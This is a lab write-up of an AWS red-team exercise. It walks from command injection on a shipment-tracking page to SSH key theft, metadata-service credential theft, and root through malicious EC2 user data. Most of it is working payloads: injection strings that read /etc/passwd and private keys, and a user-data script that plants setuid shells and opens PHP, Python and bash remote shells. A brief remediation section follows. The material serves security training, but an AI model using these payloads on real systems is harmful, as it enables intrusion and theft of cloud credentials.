Sitemap

Command Injection to EC2 User Data Privilege Escalation(AWS-Red team lab)

10 min readJun 30, 2025

--

Video:

Scenario

After a successful smishing attack on your client, Huge Logistics, you’ve obtained AWS credentials for a user account. Your task is to use these initial credentials to explore and possibly expand your access within their cloud environment. Your objective is to demonstrate impact of smishing the user. Let the hunt begin.

Lab prerequisites

  • Basic Linux command line knowledge
  • Basic web knowledge

Learning outcomes

  • Basic web application enumeration
  • Basic command injection testing and exploitation
  • IAM role and policy and EC2 instance enumeration

Difficulty

Beginner

Focus

Red

Real-world context

With remote code execution (RCE), injected programming code is executed, whereas with a command injection, it’s an OS command that is being executed. This lab focuses on OS command injections, which are a common and significant real-world issue in software applications, occurring when untrusted user input is directly incorporated into system commands without proper validation or sanitization.

Walkthrough

Attack

Enumeration

First let’s set the gained AWS credentials with aws configure, and set the region to us-west-2.

Executing the command aws sts get-caller-identity we confirm that we're in operating in the context of the AWS IAM user ryan. We should also take note of the AWS account ID.

Press enter or click to view image in full size

Let’s see if any policies are attached directly to our user.

aws iam list-attached-user-policies --user-name ryan
Press enter or click to view image in full size

This reveals the policy named Compute. Running the command below returns that current version of this policy is v1. Substitute the AWS account ID from the previous command.

aws iam get-policy --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/Compute
Press enter or click to view image in full size

Digging in further we see that as well as the allowed IAM actions, we’re able to retrieve information about any EC2 instances available in the account.

aws iam get-policy-version --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/Compute --version-id v1
Press enter or click to view image in full size

Running the command aws ec2 describe-instances reveals the private IP address of the instance.

Note: the IP address for your instance will be different. Replace this value with your IP in the provided commands where appropriate.

Press enter or click to view image in full size

Running an Nmap scan against the IP address reveals that port 80 is open.

nmap -Pn <IP_ADDRESS>
Press enter or click to view image in full size

Navigating to the IP address in a browser we see the site below.

Press enter or click to view image in full size

There are various static pages and also a page that allows users to track shipments.

Press enter or click to view image in full size

Entering a random tracking number in the indicated format results in the user provided input being returned as output on the page.

Press enter or click to view image in full size

Foothold

We might form an idea that behind this functionality is a command that takes our input and performs some sort of query. Assuming that the command is something likecli-tool <user provided input> <rest of command>, we could try a payload such as $(command) that will hopefully assign the value of our command output to the tracking number variable.

Press enter or click to view image in full size

This worked! We have validated the command injection vulnerability and see that we’re in the execution context of the Apache user www-data.

Press enter or click to view image in full size

The command id shows the default group.

Press enter or click to view image in full size

Running $(cat /etc/passwd) to read the passwd file reveals the non-default system user named ryan.

Press enter or click to view image in full size

Listing the web root with $(ls) shows the files below. The file index.php.save was created by Nano when the application was terminated while editing index.php. We could have used a directory / file enumeration tool such as ffuf, with a list of common backup file names to find it. This could then be downloaded, which would also allow us to identify the command injection vulnerability.

Press enter or click to view image in full size

Moving on to list the root directories with $(ls /) we see the non-default directory named file_backups.

Press enter or click to view image in full size

Inputting the command $(ls /file_backups/) reveals an SSH key.

Press enter or click to view image in full size

Attempting to read the key we see the format is messed up on the page. Let’s base64-encode it first.

$(cat /file_backups/id_rsa)

Press enter or click to view image in full size

Enter $(cat /file_backups/id_rsa | base64 -w0) and copy the base64 string.

Press enter or click to view image in full size

Make sure to add == to the end of the base64 string if you didn't copy this from the web page already. Then run the command echo <base64> | base64 -d > id_rsa to recreate the SSH key locally. Run chmod 400 id_rsa to set the correct permissions. We've already identified the user ryan, let's see if it's their key!

ssh -i id_rsa ryan@<IP_ADDRESS>
Press enter or click to view image in full size

We’re in! The groups don’t seem interesting. Let’s query the instance metadata service that is bound to 169.254.169.254 and check if an IAM role has been attached to the EC2 instance.

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
Press enter or click to view image in full size

A role named ComputeAdmin is available. Let's get the credentials and assume the role.

curl 169.254.169.254/latest/meta-data/iam/security-credentials/ComputeAdmin
Press enter or click to view image in full size

After running aws configure we set the token with aws configure set aws_session_token "<token>". Running aws sts get-caller-identity confirms our new context.

Press enter or click to view image in full size

Enumeration of policies attached to the role reveals a policy of the same name.

aws iam list-attached-role-policies --role-name ComputeAdmin
Press enter or click to view image in full size

The only version of this policy is v1.

aws iam get-policy --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdmin
Press enter or click to view image in full size

Running the command below returns the policy content.

aws iam get-policy-version --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdmin --version-id v1

As well as the IAM permissions we see that we’re able to start and stop, and modify the attributes of any EC2 instances. This includes being able to modify the EC2 instance user data, presenting a privilege escalation opportunity.

"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"ec2:StartInstances",
"ec2:ModifyInstanceAttribute",
"ec2:StopInstances"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdmin",
"arn:aws:iam::<AWS_ACCOUNT_ID>:role/ComputeAdmin"
]
}

Privilege Escalation

The AWS documentation details how we can leverage user data to execute commands in the context of root on Linux at launch. In the example below we’ve added commands to create a copy of the root-owned binary /bin/sh and add the setuid bit, allowing us to run the binary as root. The EC2 instance has to be in a stopped state for us to update the user data.

Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
cp /bin/sh /var/www/html/tracking/suid
chmod u+s /var/www/html/tracking/suid
cp /usr/bin/sh /var/www/html/tracking/suid1
chmod u+s /var/www/html/tracking/suid1
/usr/bin/php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",8004);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'&
/usr/bin/python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",8005));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'&
/usr/bin/bash -i >& /dev/tcp/0.0.0.0/8006 0>&1
--//

With modify-instance-attribute, the AWS CLI does not perform base64 encoding of the user data for us, so we'll do this manually.

base64 userdata.txt > userdata.b64.txt
Orcat userdata.txt | base64 > userdata.b64.txt

We’ll need to specify the ID of the EC2 instance to modify, and can get this from the metadata service or from the previous aws ec2 describe-instances command.

curl http://169.254.169.254/latest/meta-data/instance-id

Stop the EC2 instance.

aws ec2 stop-instances --instance-id <INSTANCE_ID>
Press enter or click to view image in full size

Now we’ll update the user data. We’ll use the --attribute and --value parameters and the file:// prefix to specify our base64 encoded file containing the user data.

aws ec2 modify-instance-attribute --instance-id=<INSTANCE_ID> --attribute userData --value file://userdata.b64.txt

Start the EC2 instance. If we need to check that the machine is in a running state we can just run this command again.

aws ec2 start-instances --instance-id <INSTANCE_ID>
Press enter or click to view image in full size

After stopping and starting the instance let’s check the private IP address again.

aws ec2 describe-instances --instance-ids <INSTANCE_ID> --query 'Reservations[*].Instances[*].PrivateIpAddress' --output text
Press enter or click to view image in full size

After logging in again over SSH, we run the suid file with ./suid -p and get root. The -p switch is used so sh does not attempt to reset the effective uid if it does not match the uid (ryan). PWNED!

Press enter or click to view image in full size

Defense

The shipment tracking page was vulnerable to command injection. This was because the user-provided input from the $_POST["tracking-number"] variable is directly passed into the system() function without proper validation or sanitization, allowing us to inject malicious commands and execute arbitrary code on the server. To prevent this command injection vulnerability we need to validate and sanitize the input.

A fixed version of the code that addresses the vulnerability is below. The escapeshellarg PHP function is used to escape a string to be used as an argument in a shell command. It adds escape characters to the string to ensure that any special characters or metacharacters are treated as literal characters and not interpreted as part of the command or used for injection attacks.

$number = $_POST["tracking-number"];
$cleanNumber = escapeshellarg($number); // Sanitize the input
$command = "grep " . $cleanNumber . " shipment_export.csv 2>&1 > /dev/null";
$output = shell_exec($command);
if (!empty($output)) {
echo "<p>The parcel is arriving soon</p>";
} else {
echo "<p>Could not find shipment number: " . htmlspecialchars($number) . "</p>"; // Use htmlspecialchars to prevent HTML injection
}

It’s essential to exercise extreme caution when executing shell commands based on user input. Whenever possible, it is advisable to use safer alternatives or consider a more secure approach that avoids directly executing shell commands.

It’s also not advisable to update files in the web root or accessible subdirectories, as artefacts such as index.php.bak can unintentionally be created that could provide attackers with the source code. This can be reviewed and may contain obvious as well as non-obvious vulnerabilities that may not have been possible to detect without the source code. The file index.php.bak once identified should be deleted.

Further reading

https://medium.com/@win3zz/facebook-bug-a-journey-from-code-execution-to-s3-data-leak-698b7d2b02ef

https://hackerone.com/reports/1360208

https://hackerone.com/reports/303061

Additional screenshots-

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
curl 169.254.169.254/latest/meta-data/iam/security-credentials/ComputeAdmin

We can directly get these from the web app as well

Press enter or click to view image in full size
Press enter or click to view image in full size

Bruteforcing IAM permissions-

python3 /opt/CloudPEASS/AWSPEAS.py --not-use-hacktricks-ai --profile assumed --region us-west-2 --out-json-path ./compute_admin.json
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
i-0b8163ea832483434
Press enter or click to view image in full size
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/usr/bin/bash
cp /bin/sh /var/www/html/tracking/suid
chmod u+s /var/www/html/tracking/suid
/usr/bin/php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",8004);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'&
/usr/bin/python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",8005));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'&
/usr/bin/bash -i >& /dev/tcp/0.0.0.0/8006 0>&1
--//
 base64 ec2_cmd_exec_on_boot.txt > ec2_cmd_exec_on_boot.b64.txt
aws ec2 modify-instance-attribute --instance-id=i-0b8163ea832483434 --attribute userData --value file://ec2_cmd_exec_on_boot.b64.txt --profile assumed
Press enter or click to view image in full size
Press enter or click to view image in full size

--

--

n00🔑
n00🔑

Written by n00🔑

Computer Security Enthusiast. Usually plays HTB (ID-23862). https://www.youtube.com/@pswalia2u https://www.linkedin.com/in/pswalia2u/ Instagram @pswalia4u